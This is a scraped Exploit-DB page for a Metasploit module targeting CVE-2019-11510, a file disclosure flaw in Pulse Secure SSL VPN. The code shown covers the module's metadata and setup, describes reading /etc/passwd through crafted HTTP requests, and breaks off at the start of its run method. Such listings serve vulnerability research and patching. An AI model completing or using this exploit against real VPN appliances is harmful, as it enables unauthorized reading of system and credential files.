



















EXPLOIT
DATABASE

Grid icon

Info icon

Search icon

Pulse Secure 8.1R15.1/8.2/8.3/9.0 SSL VPN - Arbitrary File Disclosure (Metasploit)

EDB-ID:

47297

CVE:

2019-11510

Author:

ALYSSA HERRERA

Type:

WEBAPPS

Platform:

MULTIPLE

Date:

2019-08-21

EDB Verified:

✗

Exploit:

↓ / {}

Vulnerable App:

←

→

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. You consent to our cookies if you continue to use our website.

Use necessary cookies only Allow all cookies

Show details

```
# Exploit Author: 0xDEzzy (Justin Wagner), Alyssa Herrera
# Vendor Homepage: https://pulsesecure.net
# Version: 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4
# Tested on: Linux
# CVE : CVE-2019-11510
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Post::File
  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Pulse Secure - System file leak',
      'Description' => %q{
        Pulse Secure SSL VPN file disclosure via specially crafted HTTP resource requests.
        This exploit reads /etc/passwd as a proof of concept
        This vulnerability affect ( 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before
        9.0R3.4
      },
      'References' =>
        [
          [ 'URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11510' ]
        ],
      'Author' => [ '0xDEzzy (Justin Wagner), Alyssa Herrera' ],
      'License' => MSF_LICENSE,
      'DefaultOptions' =>
        {
          'RPORT' => 443,
          'SSL' => true
        },
    ))
  end

  def run()
```

Page 1 of 1